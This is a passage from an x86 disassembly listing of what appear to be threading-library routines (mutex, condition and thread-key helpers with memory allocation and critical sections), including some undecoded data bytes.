push 32h
push offset aQuit ; "QUIT"
call sub_42D1A0
mov eax, [esi+8]
add esp, 0Ch
push eax
call sub_436F06
; ---------------------------------------------------------------------------
mov ecx, [esi+14h]
mov edi, dword_50FAC4
push ecx
call edi ; dword_50FAC4
push esi
call edi ; dword_50FAC4
add esp, 8
pop edi
loc_42EA79: ; CODE XREF: sub_42EA40+Aj
pop esi
retn
sub_42EA40 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EA90: ; CODE XREF: ___:0040219Ej
push edi
mov edi, [esp+8]
test edi, edi
jnz short loc_42EAA0
mov eax, 16h
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAA0: ; CODE XREF: ___:0042EA97j
push 1Ch
call near ptr 77C2C407h
nop
add esp, 4
test eax, eax
jnz short loc_42EAB6
mov eax, 0Ch
pop edi
retn
; ---------------------------------------------------------------------------
loc_42EAB6: ; CODE XREF: ___:0042EAADj
mov ecx, 1
mov dword ptr [eax+8], 0
mov dword ptr [eax+0Ch], 0
mov dword ptr [eax+10h], 0
mov [eax+14h], ecx
mov [eax+18h], ecx
mov dword ptr [eax], 0C4C0FFEEh
mov [edi], eax
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB10: ; CODE XREF: ___:00401514j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EB29
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EB29: ; CODE XREF: ___:0042EB20j
mov eax, [esi]
mov dword ptr [eax], 0
mov ecx, [esi]
push ecx
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EB60: ; CODE XREF: ___:004012D5j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
mov eax, [esp+0Ch]
jnz short loc_42EB85
test eax, eax
jz short loc_42EB85
mov ecx, [esi]
pop esi
mov edx, [ecx+0Ch]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42EB85: ; CODE XREF: ___:0042EB74j
; ___:0042EB78j
mov dword ptr [eax], 1
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EBB0: ; CODE XREF: ___:004013ACj
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EBC9
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBC9: ; CODE XREF: ___:0042EBC0j
mov eax, [esp+0Ch]
test eax, eax
jz short loc_42EBDD
cmp eax, 1
jz short loc_42EBDD
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EBDD: ; CODE XREF: ___:0042EBCFj
; ___:0042EBD4j
mov ecx, [esi]
pop esi
mov [ecx+0Ch], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC00: ; CODE XREF: ___:0040150Fj
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC20: ; CODE XREF: ___:00401825j
mov eax, 28h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC40: ; CODE XREF: ___:00401348j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC59
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC59: ; CODE XREF: ___:0042EC50j
mov eax, [esi]
mov edx, [esp+0Ch]
pop esi
mov ecx, [eax+8]
xor eax, eax
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EC80: ; CODE XREF: ___:004021E4j
push esi
mov esi, [esp+8]
push esi
call sub_4012B7
add esp, 4
test eax, eax
jz short loc_42EC99
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EC99: ; CODE XREF: ___:0042EC90j
mov eax, [esi]
mov ecx, [esp+0Ch]
pop esi
mov [eax+8], ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECC0: ; CODE XREF: ___:004019A1j
mov eax, [esp+4]
mov ecx, [eax]
mov eax, [esp+8]
mov edx, [ecx+18h]
mov [eax], edx
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ECF0: ; CODE XREF: ___:0040199Cj
mov eax, [esp+8]
sub eax, 0
jz short loc_42ED12
dec eax
jz short loc_42ED02
mov eax, 16h
retn
; ---------------------------------------------------------------------------
loc_42ED02: ; CODE XREF: ___:0042ECFAj
mov eax, [esp+4]
mov ecx, [eax]
xor eax, eax
mov dword ptr [ecx+18h], 1
retn
; ---------------------------------------------------------------------------
loc_42ED12: ; CODE XREF: ___:0042ECF7j
mov eax, 30h
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42ED30: ; CODE XREF: ___:00401C08j
push ebx
mov ebx, [esp+8]
push esi
push edi
test ebx, ebx
jz loc_42EDCB
mov edi, [esp+18h]
test edi, edi
jz loc_42EDCB
push 18h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
test esi, esi
jz short loc_42EDC2
mov eax, [esp+14h]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
test eax, eax
jz short loc_42ED70
mov eax, [eax]
jmp short loc_42ED72
; ---------------------------------------------------------------------------
loc_42ED70: ; CODE XREF: ___:0042ED64j
; ___:0042ED6Aj
xor eax, eax
loc_42ED72: ; CODE XREF: ___:0042ED6Ej
mov [esi+4], edi
mov [esi], edi
lea edi, [esi+10h]
push 0
push eax
push edi
mov [esi+0Ch], eax
mov dword ptr [esi+8], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDB8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDAF
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: ___:0042EDA7j
push edi
call sub_401686
add esp, 4
loc_42EDB8: ; CODE XREF: ___:0042ED92j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_42EDC2: ; CODE XREF: ___:0042ED5Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDCB: ; CODE XREF: ___:0042ED39j
; ___:0042ED45j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EE10: ; CODE XREF: ___:004021E9j
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_42EE78
mov esi, [ebp+0]
test esi, esi
jz short loc_42EE78
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE6E
lea eax, [esi+14h]
push eax
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE5F
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE5F: ; CODE XREF: ___:0042EE4Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C76
add esp, 0Ch
loc_42EE6E: ; CODE XREF: ___:0042EE3Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE78: ; CODE XREF: ___:0042EE1Aj
; ___:0042EE21j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EEB0: ; CODE XREF: ___:00401799j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_42EF64
mov esi, [eax]
test esi, esi
jz loc_42EF64
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 27706CDh
test eax, eax
jnz short loc_42EEF7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_42EF44
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_40204A
add esp, 8
mov esi, eax
jmp short loc_42EF40
; ---------------------------------------------------------------------------
loc_42EEF7: ; CODE XREF: ___:0042EED8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_42EF1B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_42EF1D
loc_42EF1B: ; CODE XREF: ___:0042EF07j
xor ebx, ebx
loc_42EF1D: ; CODE XREF: ___:0042EF19j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_42EF40
mov eax, [esp+10h]
push 0
push eax
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
loc_42EF40: ; CODE XREF: ___:0042EEF5j
; ___:0042EF2Fj
test esi, esi
jnz short loc_42EF5E
loc_42EF44: ; CODE XREF: ___:0042EEE2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_50E3FC ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_42EF5E: ; CODE XREF: ___:0042EF42j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF64: ; CODE XREF: ___:0042EEB7j
; ___:0042EEC1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFA0: ; CODE XREF: ___:00401F50j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42EFC3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42EFC3: ; CODE XREF: ___:0042EFB2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFF0: ; CODE XREF: ___:00401A73j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42F011
mov eax, [ecx]
test eax, eax
jz short loc_42F011
push eax
mov [ecx], esi
call near ptr 77C2C21Bh
nop
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F011: ; CODE XREF: ___:0042EFF9j
; ___:0042EFFFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F030: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_42F04D
mov eax, [eax]
test eax, eax
jz short loc_42F04D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F04D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F04D: ; CODE XREF: ___:0042F036j
; ___:0042F03Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F070: ; CODE XREF: ___:0040162Cj
mov eax, [esp+4]
test eax, eax
jz short loc_42F09A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F09A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F08E
test eax, eax
jnz short loc_42F09A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F08E: ; CODE XREF: ___:0042F085j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F09A: ; CODE XREF: ___:0042F076j
; ___:0042F07Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F0B0 proc near ; CODE XREF: sub_40140Bj
push esi
push edi
call sub_4012E4
sub_42F0B0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 3412A4E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 34140DE8h, 0A4E85302h
dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F170: ; CODE XREF: ___:0040223Ej
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 90525338h, 3411E4E8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 34134DE8h, 0E4E85702h
dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F230 proc near ; CODE XREF: sub_401CEEj
push esi
push edi
call sub_4012E4
sub_42F230 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 46E89050h, 85023411h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F2B0: ; CODE XREF: ___:00401D25j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401758
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_42F3E9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42F2EB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F2EB: ; CODE XREF: ___:0042F2DCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A50
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402225
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_42F3C2
mov eax, [esi+30h]
test eax, eax
jnz loc_42F3C2
cmp [esi+0Ch], ebp
jge loc_42F3D5
test edi, edi
jz short loc_42F354
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F354: ; CODE XREF: ___:0042F329j
mov edi, [esi+4]
push edi
nop
call near ptr 27608C3h
push 0
push edi
nop
call near ptr 27703A1h
cmp eax, 102h
jnz short loc_42F3E2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2760AB8h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_42F460
push ecx
push edi
nop
call near ptr 2760D3Ch
push ebx
call sub_4010C3
add esp, 4
push edi
nop
call near ptr 2770000h
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F3C2: ; CODE XREF: ___:0042F30Dj
; ___:0042F318j
cmp [esi+0Ch], ebp
jge short loc_42F3D5
mov edx, [esi+38h]
push edx
nop
call near ptr 27701FBh
test eax, eax
jnz short loc_42F3D9
loc_42F3D5: ; CODE XREF: ___:0042F321j
; ___:0042F3C5j
mov [esp+10h], ebp
loc_42F3D9: ; CODE XREF: ___:0042F3D3j
push ebx
call sub_4010C3
add esp, 4
loc_42F3E2: ; CODE XREF: ___:0042F36Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_42F3E9: ; CODE XREF: ___:0042F2CFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F460: ; DATA XREF: ___:0042F390o
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F480 proc near ; CODE XREF: sub_401122j
mov eax, dword_50E3EC
push esi
push eax
call sub_401190
sub_42F480 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_42F4BE
mov eax, [esp+8]
test eax, eax
jz short loc_42F4AC
mov eax, [esi]
test eax, eax
jz short loc_42F4AC
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_42F4AC: ; CODE XREF: ___:0042F49Bj
; ___:0042F4A1j
mov edx, [esi+8]
mov eax, dword_50E3EC
push edx
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 8
loc_42F4BE: ; CODE XREF: ___:0042F493j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F4F0 proc near ; CODE XREF: sub_401659j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_50E3EC
push edx
call sub_401190
sub_42F4F0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_50E3EC
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F540 proc near ; CODE XREF: sub_401B4Fj
arg_0 = dword ptr 4
push esi
push offset dword_50E940
xor esi, esi
call near ptr 7C901005h
nop
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42F574
push esi
push ecx
call sub_401541
add esp, 8
mov esi, eax
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F574: ; CODE XREF: sub_42F540+17j
test eax, eax
jnz short loc_42F57D
mov esi, 16h
loc_42F57D: ; CODE XREF: sub_42F540+36j
push offset dword_50E940
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_42F540 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5B0: ; CODE XREF: ___:004020FEj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42F5D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42F5D3: ; CODE XREF: ___:0042F5C2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5F0: ; CODE XREF: ___:004021D0j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42F613
mov eax, [esi]
test eax, eax
jz short loc_42F613
push eax
nop
call near ptr 77C2C21Bh
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F613: ; CODE XREF: ___:0042F5F7j
; ___:0042F5FDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F630: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_42F64D
mov eax, [eax]
test eax, eax
jz short loc_42F64D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F64D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F64D: ; CODE XREF: ___:0042F636j
; ___:0042F63Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F670: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_42F69A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F69A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F68E
test eax, eax
jnz short loc_42F69A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F68E: ; CODE XREF: ___:0042F685j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F69A: ; CODE XREF: ___:0042F676j
; ___:0042F67Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6B0 proc near ; CODE XREF: sub_401541j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_42F6C6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_42F6ED
mov eax, [eax]
cmp eax, edi
jz short loc_42F6ED
cmp dword ptr [eax], 1
jnz short loc_42F6ED
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej
; sub_42F6B0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_42F712
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F712: ; CODE XREF: sub_42F6B0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F737
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_42F77B
; ---------------------------------------------------------------------------
loc_42F737: ; CODE XREF: sub_42F6B0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F755
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_42F772
; ---------------------------------------------------------------------------
loc_42F755: ; CODE XREF: sub_42F6B0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42F7DF
push ebx
call sub_401686
add esp, 4
loc_42F772: ; CODE XREF: sub_42F6B0+A3j
push ebp
call sub_401686
add esp, 4
loc_42F77B: ; CODE XREF: sub_42F6B0+85j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_42F7D2
loc_42F78B: ; CODE XREF: sub_42F6B0+131j
push offset dword_50E9C0
call near ptr 7C901005h
nop
mov dword ptr [esi+18h], 0
mov ecx, dword_50E3F4
mov [esi+1Ch], ecx
mov eax, dword_50E3F4
test eax, eax
jz short loc_42F7B2
mov [eax+18h], esi
loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj
mov eax, dword_50E3F0
mov dword_50E3F4, esi
test eax, eax
jnz short loc_42F7C7
mov dword_50E3F0, esi
loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj
push offset dword_50E9C0
call near ptr 7C9010EDh
nop
loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j
xor edi, edi
jmp short loc_42F78B
sub_42F6B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F840 proc near ; CODE XREF: sub_401A91j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_42F9EC
mov eax, [edi]
test eax, eax
jz loc_42F9EC
cmp eax, 0FFFFFFFFh
jz loc_42F9A3
push offset dword_50E9C0
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42F899
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F899: ; CODE XREF: sub_42F840+49j
lea ebp, [esi+14h]
push ebp
call sub_40177B
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_42F8C0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F8C0: ; CODE XREF: sub_42F840+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_42F8F9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42F8E2
call near ptr 77C1F2BCh
nop
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_42F8E2: ; CODE XREF: sub_42F840+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_42F98E
; ---------------------------------------------------------------------------
loc_42F8F9: ; CODE XREF: sub_42F840+87j
push ebx
mov dword ptr [edi], 0
call sub_401686
mov edi, dword_50FA64
add esp, 4
test eax, eax
jz short loc_42F91A
call edi ; dword_50FA64
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_42F91A: ; CODE XREF: sub_42F840+D0j
lea eax, [esi+0Ch]
push eax
call sub_401686
add esp, 4
test eax, eax
jz short loc_42F932
call edi ; dword_50FA64
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_42F932: ; CODE XREF: sub_42F840+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42F94C
push ebp
call sub_40222F
add esp, 4
mov ebx, eax
loc_42F94C: ; CODE XREF: sub_42F840+FFj
cmp dword_50E3F0, esi
jnz short loc_42F95F
mov edx, [esi+18h]
mov dword_50E3F0, edx
jmp short loc_42F968
; ---------------------------------------------------------------------------
loc_42F95F: ; CODE XREF: sub_42F840+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_42F968: ; CODE XREF: sub_42F840+11Dj
cmp dword_50E3F4, esi
jnz short loc_42F97B
mov edx, [esi+1Ch]
mov dword_50E3F4, edx
jmp short loc_42F984
; ---------------------------------------------------------------------------
loc_42F97B: ; CODE XREF: sub_42F840+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_42F984: ; CODE XREF: sub_42F840+139j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_42F98E: ; CODE XREF: sub_42F840+B4j
push offset dword_50E9C0
call near ptr 7C9010EDh
nop
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_42F9D2
; ---------------------------------------------------------------------------
loc_42F9A3: ; CODE XREF: sub_42F840+28j
push offset dword_50E940
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42F9BB
mov dword ptr [edi], 0
jmp short loc_42F9C7
